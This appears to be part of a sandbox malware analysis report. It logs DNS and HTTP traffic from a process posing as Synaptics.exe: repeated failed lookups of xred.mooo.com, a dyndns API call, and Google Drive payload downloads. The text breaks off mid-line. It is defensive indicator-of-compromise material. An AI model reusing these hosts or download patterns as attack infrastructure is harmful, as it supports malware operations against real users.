Jul 25, 2024 21:54:58.413059950 CEST	192.168.2.8	1.1.1.1	0xbd08	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:54:58.426711082 CEST	192.168.2.8	1.1.1.1	0x69ba	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:54:58.748250961 CEST	192.168.2.8	1.1.1.1	0x7cad	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:04.750432014 CEST	192.168.2.8	1.1.1.1	0xe45	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:09.437673092 CEST	192.168.2.8	1.1.1.1	0x445c	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:15.156663895 CEST	192.168.2.8	1.1.1.1	0xa509	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:19.672087908 CEST	192.168.2.8	1.1.1.1	0x869	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:25.374954939 CEST	192.168.2.8	1.1.1.1	0x7069	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:32.219096899 CEST	192.168.2.8	1.1.1.1	0xb87a	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:36.750696898 CEST	192.168.2.8	1.1.1.1	0xc80f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:42.453212976 CEST	192.168.2.8	1.1.1.1	0x100	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:49.281203032 CEST	192.168.2.8	1.1.1.1	0x4b06	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 25, 2024 21:54:57.606829882 CEST	1.1.1.1	192.168.2.8	0x2bbc	No error (0)	docs.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:54:58.421881914 CEST	1.1.1.1	192.168.2.8	0xbd08	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:54:58.435584068 CEST	1.1.1.1	192.168.2.8	0x69ba	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:54:58.756515980 CEST	1.1.1.1	192.168.2.8	0x7cad	No error (0)	drive.usercontent.google.com		142.250.186.129	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:04.922765017 CEST	1.1.1.1	192.168.2.8	0xe45	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:09.446784019 CEST	1.1.1.1	192.168.2.8	0x445c	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:15.164640903 CEST	1.1.1.1	192.168.2.8	0xa509	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:19.689588070 CEST	1.1.1.1	192.168.2.8	0x869	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:25.384092093 CEST	1.1.1.1	192.168.2.8	0x7069	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:32.229029894 CEST	1.1.1.1	192.168.2.8	0xb87a	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:36.783827066 CEST	1.1.1.1	192.168.2.8	0xc80f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:42.492340088 CEST	1.1.1.1	192.168.2.8	0x100	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:55:49.295368910 CEST	1.1.1.1	192.168.2.8	0x4b06	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 25, 2024 21:56:02.396810055 CEST	1.1.1.1	192.168.2.8	0x58f9	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 25, 2024 21:56:02.396810055 CEST	1.1.1.1	192.168.2.8	0x58f9	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

otelrules.azureedge.net

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49714	69.42.215.252	80	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 21:54:58.443557978 CEST	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Jul 25, 2024 21:54:59.078438044 CEST	243	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 25 Jul 2024 19:54:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:54:58 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:54:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:54:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jZv-akKoIUtZxu3CsSqGMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:54:58 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:54:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:54:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-87O20G6UEwNYLgWIOSQESQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49715	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:54:59 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:54:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:54:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-NNs8vTESvR55zEgDFu2JUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49716	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:54:59 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-25 19:54:59 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:54:59 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-2vnudYcfyq3QDeWN7xdFxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMT0EZnzMTmfPR-WQIKPiQrc-OfxdGe_B8AyrxjNK6Wa2JS_sxGT4g7KlaBz-7JCdL9dVk Server: UploadServer Set-Cookie: NID=516=qiwzkR3xasI2its3pexqnhZSbYZQe_3_6JsC4tTNXGitNeI2ku4Fk3eHoxMuQJHTO1N0HIGN31nGe80YlH6c2BDEHlHaMPVtrU7pIdDQDEnEPmAm0iwZn0gkSteDveLTM0o3EqdYgJNUsgsPQ3GLJI2NvPQx-taNlTNUEFRH1wI; expires=Fri, 24-Jan-2025 19:54:59 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:54:59 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 6f 4b 77 38 58 67 4d 55 4e 7a 47 57 45 47 68 6b 61 73 6a 52 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_oKw8XgMUNzGWEGhkasjRg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-07-25 19:54:59 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49718	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:54:59 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:54:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:54:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-27gODZ_fYyExG23SkxJVGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49717	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:54:59 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-25 19:55:00 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:54:59 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-c5Z4XRN0g38ylMniDgEAvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNU1b15-Gfnp6rDNlDQR8iCymr9ZhDXPEA_Y4Fy5SdNxzVFZx3vh9fQjELWXvhaua1PM2E Server: UploadServer Set-Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y; expires=Fri, 24-Jan-2025 19:54:59 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:00 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 33 31 67 5a 58 72 2d 2d 59 45 34 6f 39 73 79 63 4f 74 5f 47 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="H31gZXr--YE4o9sycOt_GQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-07-25 19:55:00 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49720	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:00 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-VWuw8ESRsMGNPEldrFt7Cw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49722	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:00 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-25 19:55:00 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:00 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-5t3NmKjvPPPbrKiKAlLs5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nNxl9CZyXolTEOlPXDp-Tp_2HBMhQ007tUdyj6K6ooms_NBUYVFCvIAJblClvc09ucBkmI Server: UploadServer Set-Cookie: NID=516=BP3v9g5IPv4fqgPIrLK5abHnATCIOS_dEtmKqd1Wbup5f4tmTLzbfXJDC__xlg0yZtTyq1JapzKkpey2Nv4q5Br9PGbHWcshPLVxwdVSAgS2_2wEMbRsNkBOmahSZRswn__7pMUYTI7cwNwtbsCvqE-dM7JG8sWrmLmO737pGIc; expires=Fri, 24-Jan-2025 19:55:00 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:00 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 68 4b 53 54 51 54 48 6b 50 62 4b 70 42 34 34 4d 61 4e 36 55 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ohKSTQTHkPbKpB44MaN6UQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-07-25 19:55:00 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49721	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:00 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-2ka4JHCg8eGz51QmJ3IdLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri 